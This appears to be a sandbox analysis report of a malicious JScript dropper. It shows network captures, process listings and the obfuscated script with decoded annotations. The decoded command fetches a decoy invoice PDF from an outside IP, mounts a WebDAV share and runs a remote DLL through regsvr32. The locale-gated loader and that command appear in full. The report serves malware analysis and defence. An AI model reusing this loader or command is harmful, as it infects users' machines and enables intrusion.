6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:02:28.593141079 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:02:28.593177080 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:02:28.593209982 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 05:02:28.593245029 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 05:02:28.593277931 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 05:02:28.593312025 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 05:02:28.593346119 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 05:02:28.593380928 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 05:02:28.593416929 CET	1236	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 11, 2025 05:02:28.598347902 CET	772	IN	Data Raw: 6e ca 1f 18 fa 31 3c 30 f4 ee b1 8d a1 83 03 43 9b 18 7a 72 6b 62 e8 e1 7e d0 3a 0f c6 1e ee 57 ce 63 e8 d1 e1 ed f1 51 77 6c 68 1b 43 87 c7 86 de 76 c7 86 9a 18 ca b1 a1 5b 31 f5 cd 09 00 00 60 1a 7c b1 04 00 1b e5 ef a8 e5 1d b9 7a d8 ad b0 84 Data Ascii: n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR=4pa/RrKuk{jv%Z\|GVu;=*VzfN5gM6:?SisUJ[ey\59-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	2504	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:02:29.998960018 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:02:30.798060894 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:02:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:02:21
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js"
Imagebase:	0x7ff7644e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:02:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll
Imagebase:	0x7ff61c640000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:02:23
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:02:23
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:02:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	23:02:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff61c640000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:02:28
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff72dbc0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:02:29
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	23:02:29
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x800000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:02:29
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2240 --field-trial-handle=1652,i,3231209704093692969,12306063606434477512,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	23:02:41
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function uctuced() {	uctuced() ➔ undefined
1	wxkgbbva = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wvjswmq = this[tgyvr + kvbwcch + luddts + vdlch + kgfyankw + btyoqvcvt + gsbqxita + xovkzxo] ( this[nxehpxsne + lribkf + krexk + luddts + fywkmhdz + tgyvr + xovkzxo][uobswpeyj + luddts + kgfyankw + kvbwcch + xovkzxo + kgfyankw + mmljvtfsq + tebaeu + ikypuqzu + kgfyankw + krexk + xovkzxo] ( nxehpxsne + lribkf + krexk + luddts + fywkmhdz + tgyvr + xovkzxo + vdgpe + lribkf + nfbhfdyc + kgfyankw + uyswpy + uyswpy ) [kcyrxec + kgfyankw + jjdztv + kcyrxec + kgfyankw + kvbwcch + xyeahj] ( rbgcnrlmx + bumqc + weybnlhh + ipotp + xojxb + uobswpeyj + xisqd + kcyrxec + kcyrxec + weybnlhh + nrbdcynhv + vrinq + xojxb + xisqd + lribkf + weybnlhh + kcyrxec + ikmotq + uobswpeyj + rmotjjhy + gsbqxita + xovkzxo + luddts + rmotjjhy + uyswpy + ijnrltisk + tuwtwc + kvbwcch + gsbqxita + kgfyankw + uyswpy + ikmotq + btyoqvcvt + gsbqxita + xovkzxo + kgfyankw + luddts + gsbqxita + kvbwcch + xovkzxo + fywkmhdz + rmotjjhy + gsbqxita + kvbwcch + uyswpy + ikmotq + ujysgtly + rmotjjhy + krexk + kvbwcch + uyswpy + kgfyankw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ufjpa = 0 ; ufjpa < wxkgbbva[uyswpy + kgfyankw + gsbqxita + jjdztv + xovkzxo + nfbhfdyc] ; ++ ufjpa )
4	{
5	if ( wvjswmq == wxkgbbva[ufjpa] )
6	{
7	wvjswmq = true;
8	break ;
9	}
10	}
11	if ( wvjswmq !== true )
12	this[nxehpxsne + lribkf + krexk + luddts + fywkmhdz + tgyvr + xovkzxo][cvvultuy + nkcih + fywkmhdz + xovkzxo] ( );
13	this[nxehpxsne + lribkf + krexk + luddts + fywkmhdz + tgyvr + xovkzxo][uobswpeyj + luddts + kgfyankw + kvbwcch + xovkzxo + kgfyankw + mmljvtfsq + tebaeu + ikypuqzu + kgfyankw + krexk + xovkzxo] ( nxehpxsne + lribkf + krexk + luddts + fywkmhdz + tgyvr + xovkzxo + vdgpe + lribkf + nfbhfdyc + kgfyankw + uyswpy + uyswpy ) [luddts + nkcih + gsbqxita] ( krexk + oormxyed + xyeahj + ijnrltisk + pkcrwq + krexk + ijnrltisk + tgyvr + rmotjjhy + mbvkoh + kgfyankw + luddts + vdlch + nfbhfdyc + kgfyankw + uyswpy + uyswpy + vdgpe + kgfyankw + vrhutj + kgfyankw + ijnrltisk + glumgxsq + uobswpeyj + rmotjjhy + oormxyed + oormxyed + kvbwcch + gsbqxita + xyeahj + ijnrltisk + iljlnlhl + btyoqvcvt + gsbqxita + xyywgfj + rmotjjhy + qjgdrbc + kgfyankw + glumgxsq + nxehpxsne + kgfyankw + tebaeu + kcyrxec + kgfyankw + bfdqcj + nkcih + kgfyankw + vdlch + xovkzxo + ijnrltisk + glumgxsq + mmljvtfsq + nkcih + xovkzxo + ohdagc + fywkmhdz + uyswpy + kgfyankw + ijnrltisk + wpkbwlcv + xovkzxo + kgfyankw + oormxyed + tgyvr + wpkbwlcv + ikmotq + fywkmhdz + gsbqxita + xyywgfj + rmotjjhy + fywkmhdz + krexk + kgfyankw + vdgpe + tgyvr + xyeahj + wplpkyik + ijnrltisk + nfbhfdyc + xovkzxo + xovkzxo + tgyvr + ylzlkk + pkcrwq + pkcrwq + lpylc + houxb + htqhvey + vdgpe + lpylc + wrcxeto + htqhvey + vdgpe + lpylc + vdgpe + lgzmwb + ztcveu + tmcei + pkcrwq + fywkmhdz + gsbqxita + xyywgfj + rmotjjhy + fywkmhdz + krexk + kgfyankw + vdgpe + tgyvr + nfbhfdyc + tgyvr + iljlnlhl + bgtrdoc + bgtrdoc + vdlch + xovkzxo + kvbwcch + luddts + xovkzxo + ijnrltisk + wpkbwlcv + xovkzxo + kgfyankw + oormxyed + tgyvr + wpkbwlcv + ikmotq + fywkmhdz + gsbqxita + xyywgfj + rmotjjhy + fywkmhdz + krexk + kgfyankw + vdgpe + tgyvr + xyeahj + wplpkyik + bgtrdoc + bgtrdoc + krexk + oormxyed + xyeahj + ijnrltisk + pkcrwq + krexk + ijnrltisk + gsbqxita + kgfyankw + xovkzxo + ijnrltisk + nkcih + vdlch + kgfyankw + ijnrltisk + ikmotq + ikmotq + lpylc + houxb + htqhvey + vdgpe + lpylc + wrcxeto + htqhvey + vdgpe + lpylc + vdgpe + lgzmwb + ztcveu + tmcei + qkbybeaka + jgemrnbzp + jgemrnbzp + jgemrnbzp + jgemrnbzp + ikmotq + xyeahj + kvbwcch + xyywgfj + mbvkoh + mbvkoh + mbvkoh + luddts + rmotjjhy + rmotjjhy + xovkzxo + ikmotq + bgtrdoc + bgtrdoc + krexk + oormxyed + xyeahj + ijnrltisk + pkcrwq + krexk + ijnrltisk + luddts + kgfyankw + jjdztv + vdlch + xyywgfj + luddts + htqhvey + lgzmwb + ijnrltisk + pkcrwq + vdlch + ijnrltisk + ikmotq + ikmotq + lpylc + houxb + htqhvey + vdgpe + lpylc + wrcxeto + htqhvey + vdgpe + lpylc + vdgpe + lgzmwb + ztcveu + tmcei + qkbybeaka + jgemrnbzp + jgemrnbzp + jgemrnbzp + jgemrnbzp + ikmotq + xyeahj + kvbwcch + xyywgfj + mbvkoh + mbvkoh + mbvkoh + luddts + rmotjjhy + rmotjjhy + xovkzxo + ikmotq + lgzmwb + jgemrnbzp + ztcveu + lpylc + lgzmwb + uykhvlli + lnhyx + ztcveu + lgzmwb + lpylc + lnhyx + tmcei + lgzmwb + wrcxeto + vdgpe + xyeahj + uyswpy + uyswpy, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll",0,false) ➔ 0
14	}
15	jjdztv = "c";
16	jjdztv = "u";
17	jjdztv = "m";
18	jjdztv = "E";
19	jjdztv = "c";
20	jjdztv = "f";
21	jjdztv = "n";
22	jjdztv = "o";
23	jjdztv = "Y";
24	jjdztv = "d";
25	jjdztv = "b";
26	jjdztv = "H";
27	jjdztv = "d";
28	jjdztv = "c";
29	jjdztv = "g";
30	lribkf = "h";
31	lribkf = "t";
32	lribkf = "u";
33	lribkf = "q";
34	lribkf = "o";
35	lribkf = "I";
36	lribkf = "T";
37	lribkf = "R";
38	lribkf = "l";
39	lribkf = "b";
40	lribkf = "j";
41	lribkf = "C";
42	lribkf = "c";
43	lribkf = "F";
44	lribkf = "g";
45	lribkf = "S";
46	vrinq = "p";
47	vrinq = "h";
48	vrinq = "t";
49	vrinq = "v";
50	vrinq = "S";
51	vrinq = "v";
52	vrinq = "R";
53	vrinq = "A";
54	vrinq = "Q";
55	vrinq = "Y";
56	vrinq = "X";
57	vrinq = "W";
58	vrinq = "J";
59	vrinq = "S";
60	vrinq = "T";
61	vrinq = "a";
62	vrinq = "b";
63	vrinq = "j";
64	vrinq = "a";
65	vrinq = "m";
66	vrinq = "j";
67	vrinq = "b";
68	vrinq = "b";
69	vrinq = "E";
70	vrinq = "l";
71	vrinq = "N";
72	vrinq = "b";
73	vrinq = "H";
74	vrinq = "H";
75	vrinq = "g";
76	vrinq = "N";
77	vrinq = "m";
78	vrinq = "E";
79	vrinq = "z";
80	vrinq = "x";
81	vrinq = "V";
82	vrinq = "r";
83	vrinq = "c";
84	vrinq = "H";
85	vrinq = "q";
86	vrinq = "a";
87	vrinq = "h";
88	vrinq = "l";
89	vrinq = "I";
90	vrinq = "T";
91	gsbqxita = "M";
92	gsbqxita = "S";
93	gsbqxita = "Q";
94	gsbqxita = "u";
95	gsbqxita = "Y";
96	gsbqxita = "B";
97	gsbqxita = "n";
98	vdlch = "M";
99	vdlch = "t";
100	vdlch = "q";
101	vdlch = "t";
102	vdlch = "I";
103	vdlch = "X";
104	vdlch = "P";
105	vdlch = "Z";
106	vdlch = "e";
107	vdlch = "g";
108	vdlch = "z";
109	vdlch = "s";
110	qjgdrbc = "u";
111	qjgdrbc = "c";
112	qjgdrbc = "w";
113	qjgdrbc = "X";
114	qjgdrbc = "x";
115	qjgdrbc = "V";
116	qjgdrbc = "j";
117	qjgdrbc = "U";
118	qjgdrbc = "a";
119	qjgdrbc = "N";
120	qjgdrbc = "d";
121	qjgdrbc = "k";
122	krexk = "i";
123	krexk = "J";
124	krexk = "Y";
125	krexk = "S";
126	krexk = "b";
127	krexk = "S";
128	krexk = "y";
129	krexk = "e";
130	krexk = "y";
131	krexk = "p";
132	krexk = "X";
133	krexk = "U";
134	krexk = "G";
135	krexk = "B";
136	krexk = "f";
137	krexk = "d";
138	krexk = "i";
139	krexk = "a";
140	krexk = "v";
141	krexk = "z";
142	krexk = "p";
143	krexk = "B";
144	krexk = "l";
145	krexk = "M";
146	krexk = "m";
147	krexk = "k";
148	krexk = "C";
149	krexk = "Q";
150	krexk = "C";
151	krexk = "B";
152	krexk = "Z";
153	krexk = "X";
154	krexk = "d";
155	krexk = "j";
156	krexk = "c";
157	krexk = "z";
158	krexk = "P";
159	krexk = "M";
160	krexk = "P";
161	krexk = "X";
162	krexk = "O";
163	krexk = "k";
164	krexk = "X";
165	krexk = "I";
166	krexk = "c";
167	bumqc = "y";
168	bumqc = "f";
169	bumqc = "S";
170	bumqc = "o";
171	bumqc = "F";
172	bumqc = "U";
173	bumqc = "y";
174	bumqc = "G";
175	bumqc = "O";
176	bumqc = "e";
177	bumqc = "j";
178	bumqc = "X";
179	bumqc = "D";
180	bumqc = "D";
181	bumqc = "O";
182	bumqc = "p";
183	bumqc = "H";
184	bumqc = "K";
185	weybnlhh = "l";
186	weybnlhh = "o";
187	weybnlhh = "X";
188	weybnlhh = "N";
189	weybnlhh = "c";
190	weybnlhh = "f";
191	weybnlhh = "g";
192	weybnlhh = "G";
193	weybnlhh = "m";
194	weybnlhh = "H";
195	weybnlhh = "E";
196	xojxb = "L";
197	xojxb = "B";
198	xojxb = "L";
199	xojxb = "b";
200	xojxb = "V";
201	xojxb = "N";
202	xojxb = "h";
203	xojxb = "u";
204	xojxb = "D";
205	xojxb = "_";
206	wpkbwlcv = "Z";
207	wpkbwlcv = "i";
208	wpkbwlcv = "i";
209	wpkbwlcv = "A";
210	wpkbwlcv = "h";
211	wpkbwlcv = "h";
212	wpkbwlcv = "E";
213	wpkbwlcv = "T";
214	wpkbwlcv = "s";
215	wpkbwlcv = "L";
216	wpkbwlcv = "Y";
217	wpkbwlcv = "K";
218	wpkbwlcv = "F";
219	wpkbwlcv = "G";
220	wpkbwlcv = "T";
221	wpkbwlcv = "T";
222	wpkbwlcv = "d";
223	wpkbwlcv = "k";
224	wpkbwlcv = "v";
225	wpkbwlcv = "q";
226	wpkbwlcv = "K";
227	wpkbwlcv = "y";
228	wpkbwlcv = "u";
229	wpkbwlcv = "Y";
230	wpkbwlcv = "r";
231	wpkbwlcv = "A";
232	wpkbwlcv = "G";
233	wpkbwlcv = "v";
234	wpkbwlcv = "H";
235	wpkbwlcv = "g";
236	wpkbwlcv = "b";
237	wpkbwlcv = "S";
238	wpkbwlcv = "k";
239	wpkbwlcv = "y";
240	wpkbwlcv = "d";
241	wpkbwlcv = "d";
242	wpkbwlcv = "d";
243	wpkbwlcv = "C";
244	wpkbwlcv = "x";
245	wpkbwlcv = "C";
246	wpkbwlcv = "f";
247	wpkbwlcv = "k";
248	wpkbwlcv = "%";
249	wplpkyik = "J";
250	wplpkyik = "k";
251	wplpkyik = "j";
252	wplpkyik = "F";
253	wplpkyik = "f";
254	wplpkyik = "e";
255	wplpkyik = "k";
256	wplpkyik = "f";
257	ipotp = "G";
258	ipotp = "f";
259	ipotp = "g";
260	ipotp = "w";
261	ipotp = "A";
262	ipotp = "S";
263	ipotp = "Y";
264	fywkmhdz = "E";
265	fywkmhdz = "y";
266	fywkmhdz = "a";
267	fywkmhdz = "T";
268	fywkmhdz = "Z";
269	fywkmhdz = "V";
270	fywkmhdz = "o";
271	fywkmhdz = "j";
272	fywkmhdz = "c";
273	fywkmhdz = "S";
274	fywkmhdz = "p";
275	fywkmhdz = "o";
276	fywkmhdz = "k";
277	fywkmhdz = "j";
278	fywkmhdz = "y";
279	fywkmhdz = "I";
280	fywkmhdz = "p";
281	fywkmhdz = "W";
282	fywkmhdz = "S";
283	fywkmhdz = "Q";
284	fywkmhdz = "s";
285	fywkmhdz = "e";
286	fywkmhdz = "c";
287	fywkmhdz = "x";
288	fywkmhdz = "i";
289	htqhvey = "s";
290	htqhvey = "T";
291	htqhvey = "z";
292	htqhvey = "I";
293	htqhvey = "e";
294	htqhvey = "J";
295	htqhvey = "E";
296	htqhvey = "Q";
297	htqhvey = "W";
298	htqhvey = "J";
299	htqhvey = "w";
300	htqhvey = "j";
301	htqhvey = "s";
302	htqhvey = "O";
303	htqhvey = "U";
304	htqhvey = "a";
305	htqhvey = "J";
306	htqhvey = "T";
307	htqhvey = "U";
308	htqhvey = "y";
309	htqhvey = "K";
310	htqhvey = "B";
311	htqhvey = "g";
312	htqhvey = "q";
313	htqhvey = "X";
314	htqhvey = "L";
315	htqhvey = "i";
316	htqhvey = "k";
317	htqhvey = "s";
318	htqhvey = "a";
319	htqhvey = "p";
320	htqhvey = "u";
321	htqhvey = "a";
322	htqhvey = "y";
323	htqhvey = "Y";
324	htqhvey = "I";
325	htqhvey = "D";
326	htqhvey = "U";
327	htqhvey = "O";
328	htqhvey = "s";
329	htqhvey = "T";
330	htqhvey = "H";
331	htqhvey = "w";
332	htqhvey = "3";
333	nrbdcynhv = "m";
334	nrbdcynhv = "R";
335	nrbdcynhv = "X";
336	nrbdcynhv = "i";
337	nrbdcynhv = "u";
338	nrbdcynhv = "y";
339	nrbdcynhv = "o";
340	nrbdcynhv = "N";
341	ikypuqzu = "i";
342	ikypuqzu = "v";
343	ikypuqzu = "j";
344	ikypuqzu = "p";
345	ikypuqzu = "J";
346	ikypuqzu = "Q";
347	ikypuqzu = "s";
348	ikypuqzu = "u";
349	ikypuqzu = "Y";
350	ikypuqzu = "c";
351	ikypuqzu = "h";
